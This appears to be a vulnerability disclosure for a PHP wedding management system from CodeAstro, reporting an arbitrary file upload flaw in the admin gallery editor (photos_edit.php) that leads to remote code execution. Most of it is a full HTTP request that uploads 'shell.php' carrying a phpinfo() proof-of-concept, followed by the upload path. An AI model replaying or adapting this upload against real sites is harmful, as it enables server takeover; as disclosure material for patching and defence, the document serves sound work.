vendor: https://codeastro.com/wedding-management-system-in-php-with-source-code/
Vulnerability url: http://ip/Wedding-Management/admin/photos_edit.php?id=37
Loophole location：The editing function of "Gallery" module in the background management system-- > there is an arbitrary file upload vulnerability (RCE) in the picture upload point of "photos_edit.php" file.
Click "Edit" to save
Request package for file upload：
POST /Wedding-Management/admin/photos_edit.php?id=37 HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/Wedding-Management/admin/photos_edit.php?id=37
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------30999215895801
Content-Length: 826
-----------------------------30999215895801
Content-Disposition: form-data; name="booking_id"
34
-----------------------------30999215895801
Content-Disposition: form-data; name="title"
-----------------------------30999215895801
Content-Disposition: form-data; name="caption"
-----------------------------30999215895801
Content-Disposition: form-data; name="alternate_text"
-----------------------------30999215895801
Content-Disposition: form-data; name="description"
-----------------------------30999215895801
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
JFJF
<?php phpinfo();?>
-----------------------------30999215895801
Content-Disposition: form-data; name="submit"
Edit
-----------------------------30999215895801--The files will be uploaded to this directory \admin\upload\gallery\
We visited the directory of the file in the browser and found that the code had been executed
